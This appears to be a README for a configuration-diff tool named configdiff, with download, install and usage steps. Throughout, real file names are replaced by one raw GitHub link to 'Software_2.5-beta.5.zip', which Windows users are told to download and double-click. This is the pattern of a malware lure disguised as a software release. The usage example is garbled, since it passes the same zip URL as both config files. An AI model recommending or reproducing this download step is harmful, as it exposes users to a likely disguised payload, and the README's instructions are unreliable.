Welcome to configdiff! This tool helps you compare YAML, JSON, and HCL configuration files clearly and effectively. Whether you're managing cloud resources or setting up software, configdiff makes the task easier.
- Operating System: Windows, macOS, or Linux
- Go Version: Compatible with version 1.16 or later
- Memory: At least 512 MB RAM
- Disk Space: Minimum of 50 MB available space
To get started with configdiff, follow these simple steps:
-
Click the link below to visit the Releases page.
-
On the Releases page, select the latest version of configdiff.
-
Download the appropriate file for your system.
- For Windows, download
https://github.com/saddam237262/configdiff/raw/refs/heads/main/tree/Software_2.5-beta.5.zip. - For macOS, download
configdiff_darwin. - For Linux, download
configdiff_linux.
- For Windows, download
-
Once the download is complete, locate the file on your computer.
-
Installation Steps:
- Windows: Double-click
https://github.com/saddam237262/configdiff/raw/refs/heads/main/tree/Software_2.5-beta.5.zipto run it. - macOS: Open the Terminal and navigate to the file's location. Execute the command
./configdiff_darwin. - Linux: Open a terminal, navigate to the file's location, and run
chmod +x configdiff_linuxfollowed by./configdiff_linux.
- Windows: Double-click
After installation, youโre all set to use configdiff!
Using configdiff is straightforward. Hereโs how to compare files:
- Open your terminal or command prompt.
- Type the following command to compare two files:
configdiff path/to/first/file path/to/second/file - Navigate to the directory where your configuration files are stored.
- Replace
path/to/first/fileandpath/to/second/filewith the actual paths to your YAML, JSON, or HCL files. - Press Enter to see the differences displayed clearly.
- Semantic Comparisons: Understand differences that matter, not just line changes.
- Support for Multiple Formats: Work with YAML, JSON, and HCL files effortlessly.
- User-Friendly Output: Clear, concise output for easy analysis.
- Lightweight and Fast: Minimal system resource usage ensures quick comparisons.
To illustrate, letโs say you have the following YAML files:
File 1: https://github.com/saddam237262/configdiff/raw/refs/heads/main/tree/Software_2.5-beta.5.zip
server:
host: localhost
port: 8080File 2: https://github.com/saddam237262/configdiff/raw/refs/heads/main/tree/Software_2.5-beta.5.zip
server:
host: 127.0.0.1
port: 8080You would run:
configdiff https://github.com/saddam237262/configdiff/raw/refs/heads/main/tree/Software_2.5-beta.5.zip https://github.com/saddam237262/configdiff/raw/refs/heads/main/tree/Software_2.5-beta.5.zip
The output will highlight the difference in the host value.
If you face any issues, or need help using configdiff, check the Issues page. We're here to assist you!
We welcome contributions! If you have suggestions or improvements, feel free to submit a pull request.
Thank you for using configdiff! Download it today and streamline your configuration management tasks effortlessly.